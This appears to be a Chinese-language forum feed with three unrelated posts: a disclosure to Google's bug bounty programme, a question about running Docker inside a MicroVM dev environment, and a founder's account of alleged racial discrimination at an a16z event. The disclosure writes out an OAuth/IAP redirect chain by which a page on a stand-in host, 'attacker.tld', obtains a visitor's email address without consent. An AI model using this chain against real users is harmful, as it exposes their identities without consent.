最新

在二月份，我向谷歌的漏洞奖励团队报告了以下内容： 1) 用户访问 https://attacker.tld（这可以是故意的，也可以是通过弹出窗口访问的）。 2) attacker.tld 通过状态码 302/301 将用户重定向到 OAuth 端点。 2.1) 重定向 1: https://accounts.google.com/o/oauth2/v2/auth? client_id=[client-id] &response_type=code &scope=openid email &redirect_uri=https://iap.googleapis.com/v1/oauth/clientIds/[client-id]:handleRedirect &code_challenge=[已编辑] &code_challenge_method=S256 &cred_ref=true &state=[已编辑] 2.2) 重定向 2: https://iap.googleapis.com/v1/oauth/clientIds/[client-id]:handleRedirect? state=[已编辑] &code=[已编辑] &scope=email openid https://www.googleapis.com/auth/userinfo.email &authuser=0 &prompt=none 2.3) 重定向 3: https://attacker.tld/?gcp-iap-mode=AUTHENTICATING &redirect_token_v2=[已编辑] 3) 用户的电子邮件地址在 2.3 的结果中直接在 HTTP 401 响应中以 attacker.tld 域名的形式提供。因此，我们知道用户的电子邮件地址在未获得同意的情况下被共享。 由于没有收到回复，我以为该问题仍在处理中。几周后，我再次回到他们的门户网站进行确认。他们已经回复，但仅在他们的门户内。工单来回沟通，声称无法重现该问题。最后，我向他们提供了 https://withpersona-gov.com 的实时 URL。 他们再次辩称该漏洞无法重现。巧合的是，在我提供 URL 后仅两天，该网站就更改为重定向到主要的 withpersona 域名。 显然，这将是或仍然是对隐私法的重大侵犯。我感到自己在这里被误导了。

我目前的开发环境是在本地运行的开发容器中进行的。<p>我打开 VS Code，然后在开发容器中打开本地文件夹。这个本地文件夹会被挂载到容器中，以便进行持久化更改。容器的 Dockerfile 是我设置开发依赖的地方。在容器内，我可以进行任何我想要的全局安装，这些安装在会话之间保持持久，而项目的编辑则保留在主机上。<p>这个设置对我来说很好，我很喜欢。我可以在 VS Code 的终端中运行 CLI codent 代理，同时仍然享有良好的开发体验。<p>现在，我希望能够基本上实现这种工作流程，但基于 MicroVM，主要解决的问题是让我能够在这个 MicroVM 内运行 Docker，因为 Docker-in-Docker 的效果不好。此外，如果我能在 MicroVM 内使用密钥而不暴露它们，那就太好了。<p>不过，我花了相当多的时间检查不同的 MicroVM，发现有几个问题：<p>- 许多 MicroVM 是为短期的临时任务设计的，而不是一个能够轻松持久化并且具有容器持久性与主机持久性分离的长期开发环境。<p>- 我不认为它们与 VS Code 或其他开发工具集成？难道你应该把 VS Code 安装到 MicroVM 本身，而不是让主机上的 VS Code 与它交互？<p>- Docker 发布的沙箱在某种程度上满足了我的需求，但它仅限于 AI 代理，并且只支持他们所提供的那些。你不能拥有自己的自定义环境来做你想做的事情。<p>所以我感到困惑。有很多不同的解决方案，但似乎没有一个能满足我的需求，我只想要一个像 Dev-Container 的体验，稍微安全一些，并且能够让我在其中使用 Docker。

我是一个位于旧金山的创始人。这周，a16z举办了他们的快速咖啡馆活动。<p>另一位创始人（安德烈）和我本周早些时候都参加过一次这个咖啡馆——他在星期二，我在星期四。<p>我们都在partiful上再次注册了星期五的活动，并且都获得了批准。<p>今天（星期五），他走了进去，并留在那儿为更多客户进行介绍（根据他自己的推文）。<p>我到达时，却被a16z的工作人员在门口拒绝，告诉我“本周已经参加过一次了。”<p>同样的活动。同样的规则。同样的批准。他是白人。我是亚洲人。<p>有没有其他人经历过类似的事情？<p>推特线程：https://x.com/W_Liu_/status/2047877775273636265